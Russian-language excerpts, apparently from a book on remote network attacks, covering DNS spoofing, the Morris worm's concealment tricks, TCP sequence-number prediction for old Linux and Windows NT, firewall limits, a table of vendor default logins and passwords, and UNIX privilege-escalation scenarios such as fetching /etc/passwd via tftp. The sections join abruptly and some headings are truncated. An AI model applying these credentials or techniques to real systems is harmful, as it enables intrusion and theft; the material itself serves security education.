В самом начале зарождения Internet для удобства пользователей было принято решение присвоить всем компьютерам в сети имена. Использование имен позволяет пользователю лучше ориентироваться в киберпространстве сети Internet - куда проще, понятней и наглядней для пользователя запомнить, например, имя www.ferrari.it, чем четырехразрядную цепочку IP-адреса. Использование в Internet мнемонически понятных для пользователей имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для непосредственной адресации сообщений в Internet имена не годятся. На этапе раннего развития Internet, когда в сеть было объединено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и соответствующие им IP-адреса всех хостов в сети. Данный файл регулярно обновлялся и распространялся по всей сети. Но, по мере развития Internet, число объединенных в сеть хостов увеличивалось, и данная схема становилась все менее и менее работоспособной, поэтому была создана новая система преобразования имен, позволяющая пользователю в случае отсутствия у него информации о соответствии имен и IP-адресов получить необходимые сведения от ближайшего информационно-поискового сервера (DNS-сервера). Эта система получила название доменной системы имен - DNS (Domain Name System).
Для реализации системы DNS был создан специальный сетевой протокол DNS, для обеспечения эффективной работы которого в сети создаются специальные выделенные информационно-поисковые серверы - DNS-серверы. Поясним основную задачу, решаемую службой DNS. В современной сети Internet хост при обращении к удаленному серверу обычно имеет информацию только о его имени и не знает его IP-адреса, который и необходим для непосредственной адресации. Следовательно, перед хостом возникает стандартная проблема удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой проблемы и занимается служба DNS на базе протокола DNS.
Рассмотрим DNS-алгоритм удаленного поиска IP-адреса по имени в сети Internet:
хост посылает на IP-адрес ближайшего DNS-сервера ( он устанавливается при настройке сетевой ОС) DNS-запрос, в котором указывает имя сервера, IP-адрес которого необходимо найти;
DNS-сервер, получив запрос, просматривает свою базу имен на наличие в ней указанного в запросе имени. В случае, если имя найдено, а, следовательно, найден и соответствующий ему IP-адрес, то на запросивший хост DNS-сервер отправляет DNS-ответ, в котором указывает искомыйIP-адрес. В случае, если указанное в запросе имя DNS-сервер не обнаружил в своей базе имен, то DNS-запрос отсылается DNS-сервером на один из корневых DNS-серверов, адреса которых содержатся в файле настроек DNS-сервера root.cache, и описанная в этом пункте процедура повторяется, пока имя не будет найдено (или не найдено).
Анализируя с точки зрения безопасности уязвимость этой схемы удаленного поиска с помощью протокола DNS, а также исходя из п. 3.2.3.2, можно сделать вывод о возможности осуществления в сети, использующей протокол DNS, типовой удаленной атаки "Ложный объект РВС" . Практические изыскания и критический анализ безопасности службы DNS позволяют предложить три возможных варианта удаленной атаки на эту службу.
Ложный объект распределенной ВС
В том случае, если в распределенной ВС недостаточно надежно решены проблемы идентификации сетевых управляющих устройств (например, маршрутизаторов), возникающие при взаимодействии последних с объектами системы, то подобная распределенная система может подвергнуться типовой удаленной атаке, связанной с изменением маршрутизации и внедрением в систему ложного объекта. В том случае, если инфраструктура сети такова, что для взаимодействия объектов необходимо использование алгоритмов удаленного поиска (п. 3.2.3.2), то это также позволяет внедрить в систему ложный объект. Итак, существуют две принципиально разные причины, обуславливающие появление типовой удаленной атаки "Ложный объект РВС" .
Маскировка действий вируса
Вирус осуществлял ряд мер для сокрытия своих действий:
стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы;
исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась в процессе исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки;
размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках;
вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, который часто используется в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения;
вирус размножался, ветвясь на два процесса (роди-тель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Это имело эффект "обновления" процесса, так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса;
все текстовые строки, используемые вирусом, были закодированы с помощью операции "исключающее или" - XOR 81H. Это, конечно, слабый метод, но он позволил скрыть важные текстовые строки, например, имена открываемых вирусом файлов.
Математическое предсказание начального
Первый вопрос, который возникает в данном случае: как сетевая операционная система формирует начальное значение ISSa (так называемый ISN - Initial Sequence Number)? Очевидно, что наилучшим решением с точки зрения безопасности будет генерация этого значения ISN по случайному закону с использованием программного (а лучше аппаратного) генератора псевдослучайных чисел с достаточно большим периодом. В этом случае каждое новое значение ISN не будет зависеть от его предыдущего значения, а, следовательно, у атакующего не будет даже теоретической возможности нахождения функционального закона получения ISN.
Однако оказывается, что подобные очевидные правила случайной генерации ISN как для составителей самого описания протокола TCP (RFC 793), так и для разработчиков сетевого ядра различных операционных систем являются далеко не очевидными. Об этом говорят следующие факты. В описании протокола TCP в RFC 793 рекомендуется увеличивать значение этого 32-битного счетчика на 1 каждые 4 микросекунды (?!).
А как дело обстоит на практике? Поверьте, плохо!
Например, в ранних Berkeley-совместимых ядрах ОС UNIX значение этого счетчика увеличивалось на 128 каждую секунду и на 64 для каждого нового соединения. Анализ исходных текстов ядра ОС Linux 1.2.8 показал, что значение ISN вычисляется данной ОС в зависимости от текущего времени по следующему, отнюдь не случайному закону:
1. ISN = mcsec + 1000000 sec, где
mcsec - время в микросекундах;
sec - текущее время в секундах, причем отсчет его идет от 1970 года.
Вы думаете, что в других сетевых ОС лучше? Ошибаетесь! В ОС Windows NT 4.0 значение ISN увеличивается на 10 примерно каждую миллисекунду, то есть для Windows NT справедлива следующая формула:
2. ISN " 10 msec, где
msec - текущее время в миллисекундах.
Однако больше всего нас удивил защищенный по классу B1 UNIX, установленный на многопроцессорной мини-ЭВМ - полнофункциональном файрволе. Эта наиболее защищенная из всех, что встречалась авторам, сетевая ОС имеет также простой времязависимый алгоритм генерации начального значения идентификатора TCP-соединения. Как говорится, комментарии здесь излишни. Мало того, что в единственном базовом "защищенном" (?!) протоколе Internet - протоколе TCP - применяется простейший способ идентификации соединения, который в принципе не позволяет гарантировать надежную защиту от подмены одного из абонентов при нахождении атакующего в том же сегменте, так еще и сами разработчики сетевых ОС разрушают и без того хрупкую безопасность этого протокола, используя простые времязависимые алгоритмы генерации ISN!
Итак, в том случае, если в сетевой операционной системе используется времязависимый алгоритм генерации начального значения идентификатора TCP-соединения, то атакующий получает принципиальную возможность определить с той или иной степенью точности вид функции, описывающей закон получения ISN. Исходя из практических исследований сетевых ОС, а также из общих теоретических соображений, можно предложить следующий обобщенный вид функции, описывающий времязависимый закон получения ISN:
3. ISN = F (mсsec, msec, sec),
где mcsec - время в микросекундах (обычно, в зависимости от аппаратного обеспечения компьютера, минимальной единицей измерения машинного времени является микросекунда, в обычных IBM это так). Этот параметр циклически изменяется за секунду от 0 до 106- 1;
msec - время в миллисекундах. Циклически изменяется за секунду от 0 до 999;
sec - текущее время в секундах. Постоянно увеличивается каждую секунду.
Рассматривая функцию (3) на малом промежутке времени (меньшем 1 секунды), для удобства аппроксимации можно считать, что
4. ISN = F (mсsec).
Итак, мы будем считать, что значение ISN зависит только от микросекунд. Данная функция (4) в силу особенностей изменения своих аргументов обычно в сетевых ОС является или кусочнолинейной или ступенчатой. Например, зависимость (1), описывающая закон получения ISN в ОС Linux, в случае приведения ее к виду (4) является кусочнолинейной, а функциональная зависимость (2), справедливая для Windows NT, - ступенчатой.
На данном этапе мы вплотную подошли к проблеме определения вида функциональной зависимости ISN от параметра mcsec для конкретной сетевой ОС. Первый способ получения этой зависимости - анализ исходных текстов ядра операционной системы. Использование данного способа на практике обычно оказывается невозможным из-за отсутствия исходных текстов большинства ОС. Исключение составляют ОС Linux и FreeBSD, поставляемые с исходными текстами ядра.
В связи с этим предлагается другой метод получения закона изменения ISN от параметра mсsec. В этом случае сетевая ОС рассматривается исследователем как "черный ящик" , к которому применяется метод тестирования "запрос - ответ" : на исследуемую сетевую ОС передается серия обычных запросов на создание TCP-соединения и принимается соответствующее количество ответов с текущими значениями ISN операционной системы в каждый момент времени. При этом замеряются временные интервалы (в микросекундах) между запросом и ответом на него и время, прошедшее между запросами. В результате исследователем будет получена следующая таблица дискретных отсчетов ISN и соответствующих им моментов времени в mcsec:
| ISN0 | ISN1 | ... | ISNn |
| t0 | t1 | ... | tn |
где ISNn - значение ISN, полученное за время tn от начала эксперимента (время начала эксперимента принимается за 0).
Аппроксимируя данную таблицу дискретных значений непрерывной функцией одним из известных математических методов (наименьших квадратов, например), получим непрерывную функцию, приближенно описывающую изменение ISN на данном временном промежутке (от 0 до tn), при этом чем выше точность исходных данных, тем точнее приближение:
1. ISN(t) = F(t);
Эта формула в общем случае позволяет нам по предыдущему значению ISN, зная функцию изменения ISN от времени, экстраполировать следующее значение ISN. Теперь атакующий может, получив в ответ на TCP-запрос текущее значение ISN для ОС в данный момент времени, математически предсказать следующее возможное значение ISN через некоторый промежуток времени.
Хотелось бы обратить внимание на следующий важный момент: чем ближе в сети находятся исследователь и тестируемая ОС, тем выше точность получения аппроксимирующей функции, так как в противном случае, время за которое запрос дойдет до системы и будет выработан ISN, может существенно отличаться из-за задержек в канале связи от времени передачи ответа обратно. При этом погрешность исходных данных будет увеличиваться, а точность экстраполяции - падать.
Заметим, что атакующему вовсе не обязательно проводить подобные исследования с интересующим его удаленным хостом. Достаточно только узнать тип операционной системы на предполагаемой цели атаки и получить в свое распоряжение подобную систему для определения формулы изменения ISN в данной ОС.
Что касается практических результатов, то применение описанной выше методики получения формулы ISN(t) на примере ОС Linux 1.2.8 и Windows NT 4.0 в случае нахождения в одном сегменте с данными ОС позволило определить это 32-битное значение (от 0 до 232- 1) по его предыдущему значению для ОС Windows NT с точностью до 10, а для ОС Linux 1.2.8 - с точностью примерно до 100. В следующей таблице приведены снятые в процессе эксперимента с ОС Linux 1.2.8 значения изменения ISN (а не абсолютные значения) за соответствующие промежутки времени:
Таблица изменения значения ISN для ОС Linux 1.2.8
| t, мкс | 2759 | 5685 | 8560 | 11462 | 14303 |
| D ISN | 65135 | 134234 | 202324 | 270948 | 338028 |
Следующий график, построенный по значениям из данной таблицы и справедливый для ОС Linux 1.2.8, наглядно показывает линейный характер изменения значения начального идентификатора TCP-соединения ISN на данном временном промежутке (на самом деле зависимость изменения ISN для ОС Linux 1.2.8 носит кусочнолинейный характер):
Зависимость изменения ISN от времени для Linux 1.2.8
В общем случае, определив вид функций для вычисления ISN в операционных системах на сервере и предполагаемом клиенте, атакующий начинает следить за ОС сервера, ожидая подключения предполагаемого клиента. В тот момент времени, когда подключение произошло, атакующий может подсчитать возможный диапазон значений ISN, которыми обменялись при создании TCP-канала данные хосты. Так как атакующий может вычислить значения ISN только приближенно, то ему не избежать подбора. Однако, если не проводить описанный выше анализ, то для перебора всех возможных значений ISSa и ISSb понадобилось бы послать 264 пакетов, что нереально. В случае использования описанного выше анализа в зависимости от полученной степени точности и удаления атакующего от хостов потребуется послать значительно меньшее число пакетов. Например, если удалось вычислить значения ISN на операционных системах с точностью до 100, то атакующему для подмены одного из абонентов TCP-соединения достаточно послать всего 10000 пакетов.
Далее мы рассмотрим ставшую уже классической удаленную атаку на r-службу, осуществление которой связано с описанными выше особенностями идентификации TCP-пакетов.
Методика Firewall как основное
В общем случае методика Firewall реализует следующие основные три функции:
1. Многоуровневая фильтрация сетевого трафика.
Фильтрация обычно осуществляется на трех уровнях OSI:
сетевом (IP);
транспортном (TCP, UDP);
прикладном (FTP, TELNET, HTTP, SMTP и т. д.).
Фильтрация сетевого трафика является основной функцией систем Firewall и позволяет администратору безопасности сети централизованно осуществлять необходимую сетевую политику безопасности в выделенном сегменте IP-сети, то есть, настроив соответствующим образом Firewall, можно разрешить или запретить пользователям как доступ из внешней сети к соответствующим службам хостов или к хостам, находящихся в защищаемом сегменте, так и доступ пользователей из внутренней сети к соответствующим ресурсам внешней сети. Можно провести аналогию с администратором локальной ОС, который для осуществления политики безопасности в системе назначает необходимым образом соответствующие отношения между субъектами (пользователями) и объектами системы (файлами, например), что позволяет разграничить доступ субъектов системы к ее объектам в соответствии с заданными администратором правами доступа. Те же рассуждения применимы к Firewall-фильтрации: в качестве субъектов взаимодействия будут выступать IP-адреса хостов пользователей, а в качестве объектов, доступ к которым необходимо разграничить, - IP-адреса хостов, используемые транспортные протоколы и службы предоставления удаленного доступа.
2. Proxy-схема с дополнительной идентификацией и аутентификацией пользователей на Firewall-хосте.
Proxy-схема позволяет, во-первых, при доступе к защищенному Firewall сегменту сети осуществить на нем дополнительную идентификацию и аутентификацию удаленного пользователя и, во-вторых, является основой для создания приватных сетей с виртуальными IP-адресами. Смысл proxy-схемы состоит в создании соединения с конечным адресатом через промежуточный proxy-сервер (proxy от англ. полномочный) на хосте Firewall. На этом proxy-сервере и может осуществляться дополнительная идентификация абонента.
3. Создание приватных сетей (Private Virtual Network - PVN) с "виртуальными" IP-адресами (NAT - Network Address Translation).
В том случае, если администратор безопасности сети считает целесообразным скрыть истинную топологию своей внутренней IP-сети, то ему можно порекомендовать использовать системы Firewall для создания приватной сети (PVN-сеть). Хостам в PVN-сети назначаются любые "виртуальные" IP-адреса. Для адресации во внешнюю сеть (через Firewall) необходимо либо использование на хосте Firewall описанных выше proxy-серверов, либо применение специальных систем роутинга (маршрутизации), только через которые и возможна внешняя адресация. Это происходит из-за того, что используемый во внутренней PVN-сети виртуальный IP-адрес, очевидно, не пригоден для внешней адресации (внешняя адресация - это адресация к абонентам, находящимся за пределами PVN-сети). Поэтому proxy-сервер или средство роутинга должно осуществлять связь с абонентами из внешней сети со своего настоящего IP-адреса. Кстати, эта схема удобна в том случае, если вам для создания IP-сети выделили недостаточное количество IP-адресов (в стандарте IPv4 это случается сплошь и рядом, поэтому для создания полноценной IP-сети с использованием proxy-схемы достаточно только одного выделенного IP-адреса для proxy-сервера).
Итак, любое устройство, реализующее хотя бы одну из этих функций Firewall-методики, и является Firewall-устройством. Например, ничто не мешает вам использовать в качестве Firewall-хоста компьютер с обычной ОС FreeBSD или Linux, у которой соответствующим образом необходимо скомпилировать ядро ОС. Firewall такого типа будет обеспечивать только многоуровневую фильтрацию IP-трафика. Другое дело, предлагаемые на рынке мощные Firewall-комплексы, сделанные на базе ЭВМ или мини-ЭВМ, обычно реализуют все функции Firewall-мето-дики и являются полнофункциональными системами Firewall. На следующем рисунке изображен сегмент сети, отделенный от внешней сети полнофункциональным Firewall-хостом.
Рис. 7.1. Обобщенная схема полнофункционального хоста Firewall.
Однако администраторам IP-сетей, поддавшись на рекламу систем Firewall, не стоит заблуждаться на тот счет, что Firewall это гарантия абсолютной защиты от удаленных атак в сети Internet. Firewall - не столько средство обеспечения безопасности, сколько возможность централизованно осуществлять сетевую политику разграничения удаленного доступа к доступным ресурсам вашей сети. Да, в том случае, если, например, к данному хосту запрещен удаленный TELNET-доступ, то Firewall однозначно предотвратит возможность данного доступа. Но дело в том, что большинство удаленных атак имеют совершенно другие цели (бессмысленно пытаться получить определенный вид доступа, если он запрещен системой Firewall). Действительно, зададим себе вопрос, а какие из рассмотренных в 4 главе удаленных атак может предотвратить Firewall? Анализ сетевого трафика (п. 4.1)? Очевидно, нет! Ложный ARP-сервер (п. 4.2)? И да, и нет (для защиты вовсе не обязательно использовать Firewall). Ложный DNS-сервер (п. 4.3)? Нет, к сожалению, Firewall вам тут не помощник. Навязывание ложного маршрута при помощи протокола ICMP (п. 4.4)? Да, эту атаку путем фильтрации ICMP-сообщений Firewall легко отразит (хотя достаточно будет фильтрующего маршрутизатора, например Cisco). Подмена одного из субъектов TCP-соединения (п. 4.5)? Ответ отрицательный; Firewall тут абсолютно не при чем. Нарушение работоспособности хоста путем создания направленного шторма ложных запросов или переполнения очереди запросов (п. 4.6)? В этом случае применение Firewall только ухудшит все дело. Атакующему для того, чтобы вывести из строя (отрезать от внешнего мира) все хосты внутри защищенного Firewall-системой сегмента, достаточно атаковать только один Firewall, а не несколько хостов (это легко объясняется тем, что связь внутренних хостов с внешним миром возможна только через Firewall).
Из всего вышесказанного отнюдь не следует, что использование систем Firewall абсолютно бессмысленно. Нет, на данный момент этой методике (именно как методике!) нет альтернативы. Однако надо четко понимать и помнить ее основное назначение. Нам представляется, что применение методики Firewall для обеспечения сетевой безопасности является необходимым, но отнюдь не достаточным условием, и не нужно считать, что, поставив Firewall, вы разом решите все проблемы с сетевой безопасностью и избавитесь от всех возможных удаленных атак из сети Internet. Прогнившую с точки зрения безопасности сеть Internet никаким отдельно взятым Firewall'ом не защитишь!
Мифические удаленные атаки в сети Internet
В завершении разговора об удаленных атаках в сети Internet авторы хотели бы рассказать о так называемых мифических удаленных атаках. К этим курьезным атакам можно отнести "почти" реально осуществимые угрозы, основанные на реальных особенностях протоколов Internet. "Почти" осуществимые угрозы на практике нельзя осуществить (п. 4.7.1), либо вероятность их успеха чрезвычайно небольшая (п. 4.7.2). Однако шумиха, поднимаемая некоторыми не совсем компетентными зарубежными "экспертами" по безопасности Internet, вводящими в заблуждение многих пользователей, создает миф об этих атаках, которые на самом деле практически никому не угрожают.
Начало, или до червя
Вначале был хаос и анархия. Интернет только зарождался, глобальных сетей практически не было, базовые протоколы TCP/IP только появлялись и стандартизовались, аналогично в самом начале развития были все UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот процесс развития происходил стихийно, независимо в разных местах, на разных версиях UNIX, потом наиболее удачные начинания распространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартизации сопровождался неизбежными компромиссами, особенно в системе безопасности, т. к. основными принципами UNIX всегда являлись простота, гибкость и переносимость - а они часто противоречат безопасности.
Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10 лет раньше - ведь в то время хакером мог прослыть тот, кто умел методично перебирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest [17]. Видимо, большинство хостов (в том числе и военные - в то время возможность проникновения в секретные хосты еще не являлась мифом) и вскрывались таким образом. Были известны стандартные входные имена, присутствующие в операционной системе при ее инсталляции (см. табл. 8.1).
Особо продвинутые кракеры, наверное, догадывались вводить в качестве паролей наиболее распространенные имена, жаргонные словечки и т. п.
Интересно заметить, что большинство средств защиты многих современных ОС наиболее успешно борется именно с таким примитивным классом атак, называя это громкими словами "обнаружение нарушителей" (intruder detection) и т. п. В ОС обычно принята задержка в несколько секунд после набора неправильного пароля, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать быстро пароли (естественно, что сегодня, если хакер и будет заниматься перебором, то не в реальном времени). Но, видимо, в те далекие годы не было даже таких мер.
Таблица 4.13 Уязвимые операционные системы
| ОС | Имя(login) | Пароль |
| AIX | guest | guest |
| AS/400 | qsecofr | qsecofr |
| qsysopr | qsysopr | |
| qpgmr | qpgmr | |
| System 75 | bcim | bcimpw |
| blue | bluepw | |
| browse | looker, browsepw | |
| tech | field | |
| Taco Bell | rgm | rollout |
| tacobell | <пусто> | |
| VMS | field | service |
| systest | utep |
Направления атак и типовые сценарии их осуществления в ОС UNIX
В этом разделе мы рассмотрим второй подвид атак, осуществляемых в сети - атаки на телекоммуникационные службы удаленных компьютеров. Эти компьютеры могут находиться на другом континенте или быть в соседней с вами комнате - это никак не может быть вами замечено, кроме, может быть, скорости ответа на ваши запросы.
Итак, какие же цели преследует кракер, атакующий извне ваш компьютер? Видимо, их может быть несколько:
получить доступ к важной информации, хранящейся у вас. О, вероятно, вы крупная компьютерная шишка и за вами серьезно охотятся (если, только конечно, этой информацией не является несколько гигабайт gif'ов высокого разрешения);
получить доступ к ресурсам вашей системы. Это может быть как процессорное время (особенно если вы обладаете суперкомпьютером), так и дисковое пространство (например, для организации пиратского ftp-сайта (site). В этом случае вы не только ничего не потеряете, но и, может быть, приобретете честно сворованное программное обеспечение стоимостью много тысяч долларов);
иметь плацдарм для осуществления цели 1), но для атаки на другой компьютер - тогда в журналах атакованного компьютера будет значиться, что атака осуществлялась с вашего адреса. Вы, конечно, будете доказывать, что вы тут не при чем, и, вероятно, докажете это, но инцидент принесет вам несколько неприятных минут и несколько неприятных слов об уровне защиты вашего хоста;
как пробный шар, отладка механизмов атак на другие хосты. Ну, не расстраивайтесь, вы докажете тем самым, что вы не так уж небесполезны в сети, в отличие от других хостов, на которые никогда никто не нападал, и которые остро ощущают свою ненужность.
Теперь рассмотрим основные пути получения взлом-щиком несанкционированного доступа на компьютер.
Как известно, в UNIX различают два вида пользователей - обычный пользователь, имеющий права на доступ в рамках своего идентификатора (UID, user id) и членства в группе (GID, group ID) (в UNIX каждый пользователь в текущий момент может быть членом только одной группы, соответственно, он имеет один UID и один GID); а также так называемый суперпользователь (root), имеющий неограниченные права (UID и GID у него равны специальному значению 0). По мере развития среди обычных пользователей выделились так называемые специальные пользователи. Они обычно имеют зарезервированные имена (например, guest, bin, uucp и т.п.) и номера UID и GID (например, они всегда меньшие 100). Хотя нет никакого особого механизма в защите UNIX, отличающего специального пользователя от обычного можно сказать, что первый имеет еще меньшие права, чем второй. В частности, специальным пользователям обычно нельзя зайти в систему нормальным образом. Самым интересным для нас примером специального пользователя является анонимный пользователь ftp, который так и называется - anonymous или ftp.
Наконец, условно к категории пользователей можно отнести человека, удаленно подключившегося (обычно по протоколу TELNET) к вашей машине и взаимодействующего с одной из программ-демонов (в современной терминологии такие программы называются серверами). Эти программы обычно стартуют при загрузке машины, чаще всего от имени суперпользователя и всегда активны как процессы. Это позволяет пользователю в любой момент времени удаленно подключаться к ним, но при этом он не имеет никаких прав на чтение/запись информации на вашем компьютере, он вообще не идентифицируется системой UNIX (командой who). Однако он может исполнять некоторые команды - не программы UNIX, а команды-запросы к тому демону, к которому он подключен. Так, подключившись по протоколу TELNET на 25 порт, можно вводить команды SMTP-сервера, например, mail или expn. Последний тип пользователя (назовем его псевдопользователь) оказывается чуть ли не самым важным для нашего рассмотрения, т.к., не обладая никакими правами (и обязанностями тоже, кстати - от него не требуется аутентификация, учет по нему тоже не ведется), он взаимодействует с демонами, которые практически всегда имеют полномочия суперпользователя.
Итак, условно иерархию пользователей на UNIX-машине можно представить как:
Суперпользователь - неограниченные права.
Обычный пользователь - права, ограниченные ему суперпользователем.
Специальный пользователь - права, ограниченные ему суперпользователем для работы с конкретным приложением.
Псевдопользователь - нет никаких прав, он вообще не идентифицируется системой.
Очевидно, что любой пользователь интернета всегда имеет привилегии уровня 3 на вашем хосте, а также, если поддерживается соответствующий сервис, привилегии уровня 2.
Таким образом, задачей хакера будет являться несанкционированное получение привилегий более высокого уровня. (Заметим, кстати, что вовсе необязательно конечной целой хакера является получение именно привилегий суперпользователя - вирус Морриса, например, даже и не пытался сделать этого.) Эту задачу он, очевидно, может попытаться решить различными путями: либо получить сразу требуемые привилегии, либо постепенно наращивать их. Рассмотрим далее типовые сценарии их получения и средства UNIX, делающие их возможными.
1. "Сразу в дамки" - имея привилегии уровня 3, хакер получает права суперпользователя. Как уже отмечалось, такой фантастический прыжок возможен "благодаря" механизму демонов UNIX, отвечающих за обработку удаленных запросов. Т. к. эти демоны выполняются от имени суперпользователя, то все, что надо сделать псевдопользователю - это знать (существующие или най-ти самому) "дыры" или ошибки в этих демонах, которые позволят эксплуатировать их нестандартным или запрещенным образом. Обычно это сводится к возможности удаленно выполнить от их имени любую команду на атакуемом хосте - какую конкретно, зависит от намерений и характера хакера. Иногда это может быть создание ошибочной ситуации, приводящей к аварийному завершению демона с выдачей дампа памяти на диск, содержащий весьма полезную для хакера информацию (например, кэшированные пароли). Типичными примерами уязвимых демонов были и остаются sendmail, ftpd, fingerd. Новые демоны (типа httpd или talkd) имеют гораздо меньшую историю эксплуатации, соответственно, известно меньшее число их дыр и, соответственно, тем перспективнее они для поиска новых.
Такой сценарий был очень популярен на заре развития глобальных сетей, им пользовался вирус Морриса (см. п. 8.4.1.1). Сейчас найти дыру такого рода в демонах очень трудно, но можно, о чем свидетельствует п.8.6.2. Хосты, допускающие атаку по этому сценарию, должны считаться катастрофически незащищенными.
2. "Из специального - в обычного или выше" . Этот сценарий очень похож на описанный выше, с тем исключением, что для хакера требуются начальные привилегии уровня 2 (иначе говоря, запущен некоторый дополнительный сервис). Чтобы четко отличать эти атаки от предыдущего типа, будем требовать, что в этом случае злоумышленник всегда проходит некую (пусть примитивную) идентификацию и, возможно, аутентификацию. Это не очень серьезное допущение, большинство хостов поддерживают некоторый удобный (например, анонимный ftp) или необходимый сервис (типа tftp для удаленной загрузки бездисковых станций). Привилегии уровня 2 могут дать возможность хакеру читать некоторые файлы (например, из ~ftp/pub), и, что самое главное, записывать свои файлы на ваш компьютер (в каталог типа ~ftp/incoming). С другой стороны, т. к. Пользователь регистрируется на вашем компьютере, в его файлах-протоколах остается некоторая информация о подключении.
Типичным примером атаки по данному сценарию является атака, которая по протоколу tftp получает файл паролей /etc/passwd, и затем с его помощью подбираются пароли пользователей. Этот пример показывает, что необязательно желаемые привилегии будут получены немедленно, подобные атаки могут лишь создать предпосылки для их возможного получения в дальнейшем.
Хосты, допускающие подобные атаки, также должны считаться катастрофически незащищенными в случае, если используемый в них сервис нельзя отключить без ущерба функционированию системы.
3. "Маловато будет: из обычного - в суперпользователи" . Этот сценарий, пожалуй, наиболее прост, широко распространен и подавляющее большинство сообщений о так назваемых "дырах" в UNIX относится именно к нему. Для его осуществления злоумышленник должен уже быть обычным пользователем (иногда говорят, что он имеет бюджет (account)) на том компьютере, который он собирается взламывать. Это, с одной стороны, серьезное ограничение на масштабность проникновения, с другой стороны, большинство утечек информации происходит через "своих" , через подкупленного сотрудника, который пусть и не имеет больших полномо-чий, но уж входное имя на секретный компьютер у него будет.
Своей осуществимостью атаки данного рода обязаны очередному недостатку безопасности UNIX, который называется механизм SUID/SGID-процессов. Не будем сейчас подробно останавливаться на необходимости и причинах появления такого механизма в этой операционной системе, отметим лишь, что многим системным программам (которые могут быть запущены любым, в том числе и непривилегированным пользователем) для правильного функционирования необходимы дополнительный полномочия. Приведем хрестоматийный пример: изменения пользователем пароля самому себе. Не вызывает сомнения, что пользователь может иметь право на подобную операцию, однако в терминах UNIX это равносильно наличию права на запись в общий для всех пользователей файл /etc/passwd, что, очевидно, недопустимо. Поэтому программа, осуществляющая смену пароля пользователя, выполняется не от имени запустившего его пользователя, а от имени суперпользователя (который, естественно, имеет право на запись в файл /etc/passwd). Для этого она обладает специальным атрибутом SUID/SGID, означающего смену идентификатора пользователя и/или группы у запущенного процесса.
Эта, безусловно нарушающая исходную модель разграничения доступа, особенность UNIX была бы "нехо-рошей" , будь она всего у одной программы passwd. Однако оказывается, что этот атрибут необходим целому множеству программ, порой очень сложных. Отсюда ясно, что злоумышленник, найдя ошибку в одной из программ, обладающей атрибутом SUID root, может от ее (т. е. суперпользователя) имени произвести некоторые действия. Стандартным приемом считается копирование файла с командным интерпретатором (sh или csh) и установка на него атрибута SUID root. Таким образом, злоумышленник имеет под рукой стандартную программу sh, но все команды в ней он исполняет от имени суперпользователя.
Ошибки в SUID/SGID-программах находятся регулярно, с частотой несколько раз в месяц. Следуя одной из основных аксиом программирования, можно сделать вывод, что эти ошибки будут находиться всегда. Соответственно, многие защищенные версии UNIX стремятся обезопасить себя от атак такого рода, сильно модифицировав или вообще уйдя от SUID/SGID-механизма.
Внимательный читатель заметил, что этот сценарий, вообще говоря, не является удаленной атакой по определению (и не будет подробно рассматриваться в примерах), но введен в классификацию из-за своей масштабности и фундаментальности причины - механизма SUID/SGID-процессов. Поскольку любая система UNIX (использующая этот механизм) является уязвимой, то хосты, которые подвержены атакам такого класса, будем называть потенциально незащищенными.
4. "Он слишком многим доверял" . Взлом производит обычно псевдопользователь, повышая свои полномочия до обычного, с использованием механизма доверия. Термин "доверие" , также оказывающийся одной из важнейших брешей в безопасности UNIX, пришел из тех далеких времен, когда компьютерные системы хотели доверять друг другу. "Доверие" употребляется всякий раз, когда возникает ситуация, в которой хост может позволить пользователю (как правило удаленному) использовать локальные ресурсы без аутентификации (ввода пароля).
В UNIX существует много подсистем, использующих доверие. Наиболее простой и часто применяемой(даже против такого мастера, как Шимомура) из них являются так называемые r-службы (remote, "удаленные"). При наличии файлов .rhosts и hosts.equiv, содержащих имена хостов, доступ с них возможен без указания пароля. Аналогично построены на механизме доверия, например, NFS-сервера, в управляющих (export) файлах которых можно разрешить доступ к некоторому каталогу для группы пользователей, в том числе и всем (everyone). Как подчеркивал В. Венема в своей статье [16], "любая форма доверия может быть подменена, обманута или разрушена, особенно когда служба, получающая запросы на проверку клиента, расположена вне сервера, или когда механизм доверия основан на слабой форме аутентификации" .
Обычно доступ к системе по данному сценарию возможен только при неправильных настройках соответствующих файлов (не будем сейчас подчеркивать, что эти настройки также могут быть внесены злоумышленником сознательно - см. атаку Митника в п. 4.5.2), поэтому хосты, подверженные атакам этого класса, будем называть "слишком доверчивыми" или административно незащищенными.
Итак, подводя итог, повторим те механизмы и особенности UNIX, которые делают возможным удаленные атаки на телекоммуникационные службы. Это, в первую очередь, механизм SUID/SGID-процессов, относительно легко позволяющий обычному пользователю получить привилегии другого пользователя или группы. Во-вторых, это наличие демонов (в современных ОС они называются серверными программами), обеспечивающих обработку удаленных запросов. Поскольку они обычно запускаются от имени суперпользователя, то при неправильном функционировании его права могут быть полу-чены удаленным пользователем. Наконец, это широкое использование механизма доверия, который может быть обманут удаленным пользователем.
В следующих разделах мы опишем в хронологическом порядке наиболее интересные или известные способы проникновения в UNIX-системы.
Нарушение работоспособности хоста
